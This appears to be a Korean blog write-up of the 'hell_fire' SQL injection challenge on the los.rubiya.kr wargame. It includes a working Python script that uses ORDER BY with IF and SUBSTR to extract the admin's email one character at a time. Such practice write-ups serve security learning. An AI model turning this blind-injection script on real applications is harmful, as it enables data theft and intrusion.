웹찢남

hell_fire-writeup 본문

WEB_HACKING/los.rubiya.kr

hell_fire-writeup

harry595 2020. 1. 29. 20:21

 

 

전과 달리 위에 표가 있고 삽입한 값에 따라 표 안의 순서가 뒤바뀐다.

order by 를 if 문을 통하여 순서를 바꿔보면 되는데 이 문제는 뭔가 이상했던걸로 기억한다...

어쩃든 CLEAR~!

 

import re
import requests
import time

flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,40):
        for j in range(48,128):
                        r=requests.post("https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=if(id='admin' and ord(substr(email,"+str(i)+",1))="+str(j)+",score,1234)",cookies=session)
                        if 'scoreadmin' in r.text:
                                flag=flag+str(chr(j))
                                print("finding pw: "+flag)
                                break
print("pw "+flag)


                

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

green_dragon-writeup  (0) 2020.01.29
evil_wizard-writeup  (0) 2020.01.29
dark_eyes-writeup  (0) 2020.01.29
iron_golem-writeup  (0) 2020.01.29
Dragon-writeup  (0) 2019.12.28
Comments